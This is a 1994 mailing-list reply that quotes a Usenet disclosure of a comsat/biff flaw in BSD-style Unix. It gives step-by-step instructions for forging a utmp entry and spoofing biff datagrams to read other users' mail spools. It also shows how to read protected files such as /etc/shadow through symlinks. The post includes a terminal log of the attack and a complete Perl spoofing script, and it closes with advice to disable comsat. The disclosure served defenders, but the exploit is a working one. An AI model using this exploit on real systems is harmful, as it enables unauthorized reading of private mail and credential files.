Re: /etc/utmp

jlacour@merle.acns.nwu.edu
Thu, 24 Mar 94 21:26:52 CST

> Hmm, anyone can explain a bit more the recent CERT advisory on /etc/utmp.

Perhaps you missed the following:

From: bianco@thunder.cs.odu.edu (David J. Bianco)
Newsgroups: comp.security.unix,alt.security,alt.hackers
Subject: ***in.comsat: read any file on the system***
Date: 16 Jan 1994 18:17:49 GMT

ObHack: Ok, so I was screwing around with biff/comsat a few weeks ago,
in support of "real work" I was doing with our POP server at work.
Being the curious sort, I started to wonder about the inner workings
of comsat and it's possible use as a way to circumvent system
security.  After a little hacking, I found out it is entirely possible
to get comsat to read the contents of pretty much any file on the
system.  I've tested this on SunOS, but it should work on many (most?)
BSD-based unixes.  The BSD source for comsat.c shows this
vulnerability, so I've no reason to suspect that it's not present in
other vendors' versions as well.  I haven't tested it on any SVR4
machines.  This may be a known problem to some, but I post it in the
hopes that system administrators will be able to close it before
someone else lets them know they actually have the problem! 8-)

The method is this.  Let's say you want to read some other user's
mail.  First, change your utmp entry so that the system thinks that
user is logged onto that tty instead of you.  For a real unix hacker,
this should be a trivial exercise. 8-) Next, 'biff y' to let the
system know that this tty should accept biff requests.  (You may also
need to set your tty to be world writable.  If so, "chmod ugo+rw
`tty`".).

When you've done these things, you simply spoof a biff request to the
comsat daemon, and you're in business (a perl script for such spoofing
is included below).  Comsat reads a single datagram, of the form
"user@offset" (where 'user' is a loginname and 'offset' is an integer
offset into /var/spool/mail/user).  It will print the first 560 bytes
of the mail spool to the biff'ed terminal.  By increasing the offset
parameter in 560 byte increments, you can read out the entire file!
I've also been successful at reading protected system files (such as
/etc/shadow or /.rhosts) by this method, using a link from
/var/spool/mail/user to the file I wanted to read.  You simply have to
find a user w/o a mail spool file.  Not real hard, generally...

In case my instructions weren't clear enough, here's an example of
reading someone else's mailspool.  My roommate was kind enough to
allow me to send him some mail, then read it back out for this purpose
(I've edited out some control characters from the xterm log, and
indented it with the `||` characters to set it off from the rest of
the message, but have otherwise left the contents intact):

||opium:/home/bianco/hack/utmp> w
||User     tty       login@  idle   JCPU   PCPU  what
||bianco   ttyp0    12:56pm            2      1  w 
||opium:/home/bianco/hack/utmp> ls -lag dev/ttyp0
||crw--w----  1 bianco   tty       20,   0 Jan 16 12:58 /dev/ttyp0
||opium:/home/bianco/hack/utmp> chmod guo+rw /dev/ttyp0
||opium:/home/bianco/hack/utmp> biff y
||opium:/home/bianco/hack/utmp> ls -lag /dev/ttyp0
||crwxrw-rw-  1 bianco   tty       20,   0 Jan 16 12:58 /dev/ttyp0
||opium:/home/bianco/hack/utmp> ./utmp ttyp0 page
||opium:/home/bianco/hack/utmp> cp /tmp/utmp.temp /etc/utmp 
||opium:/home/bianco/hack/utmp> w
|| 12:59pm  up 8 days, 22:11,  1 user,  load average: 0.09, 0.01, 0.00
||User     tty       login@  idle   JCPU   PCPU  what
||page     ttyp0    12:56pm            3      1  w 
||opium:/home/bianco/hack/utmp> ./pbiff localhost page 0
||Trying to spoof biff for page@localhost (0)
||opium:/home/bianco/hack/utmp> 
||New mail for page@opium has arrived:
||----
||From: "David J. Bianco" <bianco@cs.odu.edu>
||Date: Sun, 16 Jan 1994 12:57:36 -0500
||To: page@cs.odu.edu
||Subject: Mail #1
||
||This is the first in the series of mail I'm sending Dan so that I can 
||post to USENET about how to read other people's mail. This is just to 
||...more...
||opium:/home/bianco/hack/utmp> ./pbiff localhost page 560
||Trying to spoof biff for page@localhost (560)
||opium:/home/bianco/hack/utmp> 
||New mail for page@opium has arrived:
||----
||he series of mail I'm sending Dan so that I can 
||post to USENET about how to read other people's mail. This is just to 
||show that this method will actually work.
||
||        David
||
||Received: from opium.cs.odu.edu (bianco@opium.cs.odu.edu [128.82.6.156]) by chrysanthemum-bb (8.6.4/8.6.4) with ESMTP id MAA10227 for <page@cs.odu.edu>; Sun, 16 Jan 1994 12:49:44 -0500
||...more...
||
||opium:/home/bianco/hack/utmp> ls -lag /var/spool/mail/page
||-rw-------  1 page     student      1350 Jan 16 12:49 /var/spool/mail/page
||opium:/home/bianco/hack/utmp> 
||

Until (unless) the comsat problem is fixed by vendors, I'd recommend
disabling it from your inetd.conf file.  On the systems I use, at
least, it seems to be an underused feature, to say the least.  Of
course, you could also change the permissions on your utmp, but this
may have other side effects.

As promised, here's the perl script "pbiff."  Use it like :

	% pbiff <hostname> <user> <offset>

------------------------------snip snip-------------------------------
#!/usr/local/bin/perl
#
# Author: David J. Bianco <d.j.bianco@larc.nasa.gov>
#
# Fake biff requests to (possibly remote) hosts
#

#define some things here...

sub INTEL{0};
sub ATT{0};

require "sys/socket.ph";

$them = $ARGV[0]; 
$user = $ARGV[1];
$offset = $ARGV[2];
print "Trying to spoof biff for $user@$them ($offset)\n";
$sockaddr = 'S n a4 x8';
chop($hostname = `uname -n`);
($name, $aliases, $proto) = getprotobyname('udp');
($name, $aliases, $port) = getservbyname('biff', $port);

($name, $aliases, $type, $len, $thisaddr) = gethostbyname($hostname);
($name, $aliases, $type, $len, $thataddr) = gethostbyname($them);
$this = pack($sockaddr, &AF_INET, 0, $thisaddr);
$that = pack($sockaddr, &AF_INET, $port, $thataddr);
socket(S, &AF_INET, &SOCK_DGRAM, $proto) || die "socket: $!";
connect(S, $that) || die "connect: $!";
select(S); $| = 1; select(stdout);
print S "$user@$offset\n";		# send fake biff message
close(S);
------------------------------snip snip---------------------------